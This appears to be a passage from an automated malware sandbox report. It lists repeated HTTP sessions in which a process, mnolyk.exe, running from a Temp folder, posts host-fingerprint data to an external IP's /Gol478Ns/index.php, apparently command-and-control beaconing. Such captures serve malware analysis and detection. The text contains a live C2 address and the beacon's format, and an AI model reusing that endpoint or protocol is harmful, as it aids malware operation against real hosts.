Feb 7, 2023 23:07:27.539097071 CET	215	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:27.602813005 CET	215	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.7	49796	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:27.783129930 CET	216	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:27.845711946 CET	216	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.7	49797	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:28.024523973 CET	217	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:28.090460062 CET	217	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.7	49798	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:28.267776012 CET	218	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:28.331127882 CET	218	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.7	49799	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:28.505366087 CET	219	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:28.567754984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.7	49800	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:28.753248930 CET	220	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:28.817456007 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.7	49801	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:28.990557909 CET	221	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:29.054677963 CET	221	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.7	49802	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:29.225909948 CET	222	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:29.289135933 CET	222	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.7	49803	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:29.455828905 CET	223	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:29.520322084 CET	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.7	49804	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:29.696239948 CET	224	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:29.761579037 CET	224	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49705	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:04.226732969 CET	115	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:04.288414955 CET	115	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.7	49805	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:29.940053940 CET	225	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:30.004774094 CET	225	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.7	49806	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:30.176071882 CET	226	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:30.238473892 CET	226	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.7	49807	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:30.407497883 CET	227	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:30.470520973 CET	227	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.7	49808	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:30.643129110 CET	228	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:30.705678940 CET	228	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.7	49809	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:30.882145882 CET	229	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:30.945619106 CET	229	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.7	49810	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:31.110999107 CET	230	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:31.173835993 CET	230	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.7	49811	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:31.352080107 CET	231	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:31.417216063 CET	231	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.7	49812	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:31.595525980 CET	232	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:31.659557104 CET	232	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.7	49813	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:31.831965923 CET	233	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:31.895565987 CET	233	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.7	49814	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:32.080926895 CET	234	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:32.144121885 CET	234	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49706	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:04.472245932 CET	116	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
